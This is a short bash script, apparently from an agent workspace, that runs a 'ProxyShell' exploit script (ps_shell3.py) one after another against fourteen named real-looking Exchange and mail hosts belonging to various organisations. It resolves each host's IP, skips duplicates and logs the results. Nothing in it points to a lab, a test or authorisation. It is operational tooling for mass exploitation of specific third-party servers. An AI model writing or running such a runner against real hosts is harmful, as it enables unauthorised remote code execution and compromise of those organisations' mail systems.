#!/bin/bash
# batch8 ProxyShell runner (sequential, <=5min per target, IP-dedup)
cd /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775
LOG=batch8.log
: > "$LOG"
TARGETS="autodiscover.tianteckgroup.com autodiscover.vithey.com.kh exchange02.ehostingmail.com gea.az mail.rupost.dns.army mailserver.cofita.it mjex.mujin.co.kr mx.npmsopau.ru outlook.afm-raumkonzepte.com palladium.3cx.com.tr rupost.dns.army webar.ar-shorts.com webmail.eddleston.biz www.binagadioil.com"
SEEN=""
echo "START $(date '+%F %T')" >> "$LOG"
for h in $TARGETS; do
  ip=$(getent hosts "$h" 2>/dev/null | awk '{print $1}' | head -1)
  [ -z "$ip" ] && ip=$(python3 -c "import socket;print(socket.gethostbyname('$h'))" 2>/dev/null)
  if [ -n "$ip" ] && echo " $SEEN " | grep -q " $ip "; then
    echo "===== SKIP $h (ip=$ip duplicated) $(date '+%F %T') =====" >> "$LOG"
    continue
  fi
  SEEN="$SEEN $ip"
  echo "===== TARGET $h ip=${ip:-unknown} $(date '+%F %T') =====" >> "$LOG"
  timeout 305 python3 -u ps_shell3.py "$h" 275 >> "$LOG" 2>&1
  echo "----- done $h rc=$? $(date '+%F %T') -----" >> "$LOG"
done
echo "ALL DONE $(date '+%F %T')" >> "$LOG"
